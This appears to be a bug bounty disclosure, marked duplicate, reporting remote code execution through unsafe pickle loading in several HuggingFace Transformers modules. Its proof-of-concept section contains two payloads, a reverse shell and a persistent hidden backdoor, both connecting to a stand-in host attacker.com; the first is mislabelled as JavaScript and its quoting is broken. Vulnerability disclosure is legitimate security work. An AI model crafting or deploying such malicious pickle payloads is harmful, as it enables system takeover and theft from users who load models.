# Critical Remote Code Execution via Insecure Pickle Deserialization in HuggingFace Transformers in [huggingface/transformers](https://github.com/huggingface/transformers)

Duplicate

Reported on Jan 5th 2026

* * *

# Description

The HuggingFace Transformers library uses Python's pickle.load() to deserialize untrusted data from model files without proper validation or sandboxing. This allows attackers to execute arbitrary Python code by crafting malicious pickle files that are automatically executed when the model is loaded.

# Technical Details

Python's pickle module is inherently unsafe when deserializing untrusted data. The **reduce**() method in pickled objects can specify arbitrary callables with arbitrary arguments to be executed during deserialization. This is by design in pickle and cannot be safely mitigated while still using pickle.load()

# The vulnerability exists in multiple modules:

1- RAG Model Retrieval System `(src/transformers/models/rag/retrieval_rag.py)`  
   - Loads passages data from pickle files  
   - Loads index metadata from pickle files  
   - Used when loading RAG (Retrieval-Augmented Generation) models

2- MaskFormer Conversion Scripts

```
src/transformers/models/maskformer/convert_maskformer_resnet_to_pytorch.py
src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
```

3- OLMo3 Model Conversion  
   `(src/transformers/models/olmo3/convert_olmo3_weights_to_hf.py)`  
   - Loads model metadata from pickle files  
   - Used in model format conversion

```
with open(passages_path, "rb") as passages_file:
    passages = pickle.load(passages_file)
```

# Proof of Concept

## Payload 1: Simple Reverse Shell

```javascript
// PoC.js
import pickle
import os

class ReverseShell:
    def __reduce__(self):
        cmd = (
            "python3 -c 'import socket,subprocess,os;"
            "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
            "s.connect(("attacker.com",4444));"
            "os.dup2(s.fileno(),0);"
            "os.dup2(s.fileno(),1);"
            "os.dup2(s.fileno(),2);"
            "subprocess.call(["/bin/sh","-i"])'"
        )
        return (os.system, (cmd,))

with open('malicious_passages.pkl', 'wb') as f:
    pickle.dump(ReverseShell(), f)
```

## Payload 2: Persistent Backdoor

```
import pickle
import os

class Backdoor:
    def __reduce__(self):
        backdoor_code = '''
import socket, subprocess, os
while True:
    try:
        s = socket.socket()
        s.connect(("attacker.com", 4444))
        while True:
            cmd = s.recv(1024).decode()
            if not cmd or cmd.strip() == "exit": break
            output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
            s.send(output)
        s.close()
    except: pass
'''  
        cmd = (
            f"echo '{backdoor_code}' > /tmp/.system_service.py && "
            "python3 /tmp/.system_service.py &"
        )
        return (os.system, (cmd,))
```

# Impact

1- Complete System Compromise

- Attacker gains full code execution capabilities
   - Can run any command with application privileges
   - Complete control over the affected system

2- Data Breach

- Access to all data accessible by the application
   - Theft of API keys, credentials, and secrets
   - Exfiltration of training data and models
   - Access to database credentials

3- Supply Chain Attack

- Malicious models can be uploaded to public repositories
   - Appears legitimate to unsuspecting users
   - Widespread compromise of downstream users
   - Difficult to detect until exploitation occurs

4- Lateral Movement

- Use compromised system as pivot point
   - Access to internal networks
   - Compromise of additional systems
   - Persistence mechanisms can be installed

## References

- [Python setuptools package_index pickle deserialization vulnerability](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40897)
- [Similar RCE vulnerability in reportlab via pickle](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33733)

Vulnerability Type

[CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)

Severity

Critical (9.8)

Attack vector
Network

Attack complexity
Low

Privileges required
None

User interaction
None

Scope
Unchanged

Confidentiality
High

Integrity
High

Availability
High

[Open in visual CVSS calculator](https://cvss.js.org/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Registry

Pypi

Affected Version

All versions containing the vulnerable code (4.0.0 - current)

Visibility

Public

Status

Duplicate

Disclosure Bounty

$1500

Fix Bounty

$375

Found by  
  
[0x2nac0nda](/content/users/abdallaabdalrhman/index.html)  
@abdallaabdalrhman
